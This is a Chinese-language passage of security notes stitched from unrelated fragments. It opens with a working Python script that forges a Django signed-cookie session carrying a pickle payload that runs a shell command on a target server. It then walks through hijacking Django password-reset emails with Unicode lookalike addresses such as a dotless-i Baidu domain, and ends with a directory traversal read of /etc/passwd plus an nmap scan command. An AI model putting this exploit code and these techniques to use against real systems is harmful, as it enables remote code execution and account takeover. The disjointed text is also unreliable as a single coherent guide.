import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
class Run(object):
def __reduce__(self):
return (os.system,('touch /tmp/xxlegend.log',))
sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess
import urllib2
import cookielib
url = 'http://10.24.35.228:8000/favicon.ico'(受攻击的网站)
headers = {'Cookie':'sessionid="%s"' %(sess)}
request = urllib2.Request(url,headers = headers)
response = urllib2.urlopen(request)
print response.read()
在浏览器中访问http://127.0.0.1:8000/admin/,看到如下图所示的登录页面,并没有重置密码的功能。
Django没有默认开启重置密码功能,从官方文档找到了开启该功能的方法2。我们需要编辑urls.py
,引入一些url配置。修改后的urls.py
如下所示。
from django.contrib import admin
from django.urls import path
from django.urls import include # 此行是新增的
urlpatterns = [
path('admin/', admin.site.urls),
path('accounts/', include('django.contrib.auth.urls')), # 此行是新增的
]
然后访问http://127.0.0.1:8000/accounts/password_reset/,看到如下图所示的重置密码页面。
根据文档,Django会生成一个可以重置密码的一次性链接,并把这个链接发到用户的邮箱中。如果邮箱地址不存在,Django不会发送邮件,但仍然显示“密码重置链接已经发送”,以避免攻击者探测一个邮箱地址是否为某个用户所有。
输入邮箱[email protected]
测试一下,成功收到了密码重置邮件,如下图所示。
点击其中的链接就可以重置密码了。至此,环境准备完毕。
根据漏洞描述我们知道问题出在Unicode大小写转换。Unicode号称万国码,包含各种语言,有些语言的字母在进行大小写转换时就会出现奇怪的现象。如小写德文字母“ß”转换成大写是“SS”,再转换成小写就变成了“ss”3,大小写转换竟然不可逆,甚至连字符数量都发生了变化。在Python中进行测试截图如下。
在准备环境时我们填写的用户邮箱是[email protected]
,刚好土耳其文和阿塞拜疆文中的字母“ı”转换成大写是英文字母“I”,再转换成小写就变成了英文字母“i”。知道以上信息,攻击者就可以发起攻击。首先注册域名werner.wikı
(假设这个域名存在),然后搭建邮件服务器,设置邮箱[email protected]ı
,最后在Django重置密码的表单中填入这个邮箱地址,提交后攻击者就可以收到用户werner
的密码重置邮件了。如下图所示,Django的确发送了密码重置邮件,但由于收件邮箱的域名无法解析,所以一直处于发送中的状态。
勉强算是成功复现了漏洞。这里为何不使用ı@werner.wiki
呢?因为@werner.wiki
使用的邮件系统不支持地址中包含ı
。现实中的攻击者常常也会面临这个问题,实际上攻击者很可能无法任意注册和用户同后缀的邮箱,便只能修改邮箱后缀了。在这个例子中顶级后缀wikı
是不存在的。但攻击者任然可能成功攻击,比如被攻击的是[email protected]
,攻击者就可以构造xxx@baıdu.com
。从阿里云查询到域名baıdu.com
还没有被注册。
运行 POC 脚本(CVE-2020-7471.py)查看结果
回到数据库中,发现存在内容了,成功
在处理GET请求时,我直接取path,然后使用open函数打开path对应的静态文件,并HTTP响应文件的内容。这里出现了一个明显的目录遍历漏洞,对path未做任何判断和过滤。
当我请求http://localhost/etc/passwd时,self.path对应的值是/etc/passwd,而open(‘/etc/passwd’),自然可以读取到passwd文件。
那攻击者为什么要构造/../../../../../../etc/passwd呢? 这是为了防止程序过滤或丢失最左侧的/符号,让起始目录变成脚本当前所在的目录。攻击者使用多个..符号,不断向上跳转,最终到达根/,而根/的父目录就是自己,因此使用再多的..都无差别,最终停留在根/的位置,如此,便可通过绝对路径去读取任意文件。
该漏洞扫描有多种扫描方法,可使用nmap的http-passwd脚本扫描(http://nmap.org/nsedoc/scripts/http-passwd.html),用法:
nmap –script http-passwd –script-args http-passwd.root=/test/ IP地址
链接